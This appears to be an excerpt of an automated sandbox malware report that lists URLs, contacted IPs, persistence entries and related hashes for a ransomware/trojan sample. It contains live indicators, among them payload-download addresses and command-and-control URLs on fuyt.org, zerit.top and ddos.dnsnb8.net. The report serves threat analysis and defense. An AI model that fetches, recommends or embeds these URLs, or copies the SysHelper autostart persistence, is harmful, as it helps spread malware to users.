https://we.tl/t-0S984cQ4B3	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000628000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000668000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.0000000000822000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.0000000000804000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/55QI	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108536096.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar.	VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54~	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar4/	VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonw	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000628000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176375734.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar1	VOsoyD.exe, 00000012.00000003.2243445641.00000000012DC000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://api.2ip.ua/geo.jsonWC	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265807645.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar.	VOsoyD.exe, 00000001.00000003.2031047300.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarD	VOsoyD.exe, 00000001.00000002.2233686984.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarz.h	VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.reddit.com/	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167698850.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/react-native-async-storage/async-storage/issues	prep_foundation_win32_bundle_V8_perf.cache.9.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe$run	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.nytimes.com/	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167610214.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php6	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000668000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060945347.00000000006DA000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2089856546.0000000000678000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000668000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000003.2175593327.000000000065A000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176555153.000000000065C000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265807645.0000000000627000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000628000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568923200.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568989157.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k4.rary	VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonT	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060945347.0000000000698000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://fuyt.org/files/1/build3.exe	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	true	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonV	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176375734.0000000000611000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k5.rarXC:	VOsoyD.exe, 00000012.00000002.2396332200.0000000001289000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.mic	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108821170.000000000080E000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108408998.000000000080E000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108513939.000000000080E000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.0000000000804000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	wctFE34.tmp.9.dr	false	Avira URL Cloud: safe	unknown
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	VOsoyD.exe, 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmp, VOsoyD.exe, 00000001.00000003.2012329249.00000000029E0000.00000004.00001000.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396141767.00000000008D3000.00000002.00000001.01000000.00000004.sdmp, VOsoyD.exe, 00000012.00000003.2236466154.0000000001370000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarC:	VOsoyD.exe, 00000012.00000002.2396332200.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2243445641.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://we.tl/t-0S984cQ4	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.0000000000804000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54z	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsong	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265807645.0000000000627000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k4.rarC:	VOsoyD.exe, 00000012.00000002.2396332200.0000000001289000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	wctFE34.tmp.9.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarffice	VOsoyD.exe, 00000001.00000002.2233686984.0000000000F68000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://zerit.top/dl/build2.exe$run	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/B	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000003.2175593327.000000000065A000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176555153.000000000065C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/A	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2089856546.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k3.rarE	VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k4.rarZ	VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsondll	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176375734.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net/	VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.youtube.com/	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3168127568.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarS	VOsoyD.exe, 00000001.00000002.2233686984.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueFM	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568923200.00000000006DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarp	VOsoyD.exe, 00000012.00000003.2243445641.00000000012DC000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396332200.00000000012DC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarq.u	VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.wikipedia.com/	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167957272.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonN	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2089856546.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.live.com/	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167522567.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net/-window-ext-l1-1-0.dll	VOsoyD.exe, 00000001.00000002.2233686984.0000000000F36000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ddos.dnsnb8.net:799/cj//k4.raro	VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/foundation.win32.js.map/ff6ccdf8f8e6c224f	prep_foundation_win32_bundle_V8_perf.cache.9.dr	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonG	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000628000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://fuyt.org/test1/get.phpp	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar&.	VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.google.com/	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167453703.0000000003580000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
44.221.84.105	ddos.dnsnb8.net	United States	14618	AMAZON-AESUS	false
188.114.96.3	api.2ip.ua	European Union	13335	CLOUDFLARENETUS	false
92.246.89.93	fuyt.org	Russian Federation	49558	LIVECOMM-ASRespublikanskayastr3k6RU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1480955
Start date and time:	2024-07-25 01:59:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@33/961@4/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 87 Number of non-executed functions: 258
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.0, 20.190.159.23, 20.190.159.71, 20.190.159.75, 20.190.159.68, 40.126.31.67, 20.190.159.4, 20.190.159.64, 93.184.221.240, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, prdv4a.aadg.msidentity.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, wu.azureedge.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, blobcollector.events.data.trafficmanager.net, hlb.apr-52dd2-0.edgecastdns.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:00:40	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe s>--Task
02:00:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
02:00:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
20:00:56	API Interceptor	1x Sleep call for process: WerFault.exe modified
20:02:27	API Interceptor	1x Sleep call for process: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
44.221.84.105	F898E35329AE242F1F8C0E64EFDE783E9742671336598AD9824073DECAE40F4A.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@SecurityDefender.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	f84038a5c35557bb57839423dcab27287ac5ab490fca503f496df61da5e2bc99.exe	Get hash	malicious	Bdaejec, Vidar	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k3.rar
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	f16665459cbffd1d7a22304172bd31629060a36e8d8a934dd21150b33f80c132.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
	Endermanch@Xyeta.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
188.114.96.3	https://www.trypineappledigital.agency/	Get hash	malicious	Unknown	Browse	daytimeadmirable.icu/favicon.ico
	Quotation.xls	Get hash	malicious	Remcos	Browse	tny.wtf/jk8Z5I
	DRAFT AWB and DRAFT Commercial invoice.xls	Get hash	malicious	Remcos	Browse	tny.wtf/cyd
	S004232824113048.xls	Get hash	malicious	Remcos, DBatLoader	Browse	wx.ax/Xm6
	http://comicextra.me/favicon.ico	Get hash	malicious	Unknown	Browse	comicextra.org/favicon.ico
	AED 47,000.exe	Get hash	malicious	FormBook	Browse	www.yi992.com/iuti/
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eadkqsUM/download
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/4jaIXkvS/download
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/yavjNkfZ/download
	Purchase Order - P04737.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	tny.wtf/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fuyt.org	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	B6B6783CEB1F14E70D6A9A22E1D9F133F65F9C7E700DE82FC7621A2926E3A4B7.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
ddos.dnsnb8.net	F898E35329AE242F1F8C0E64EFDE783E9742671336598AD9824073DECAE40F4A.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@SecurityDefender.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
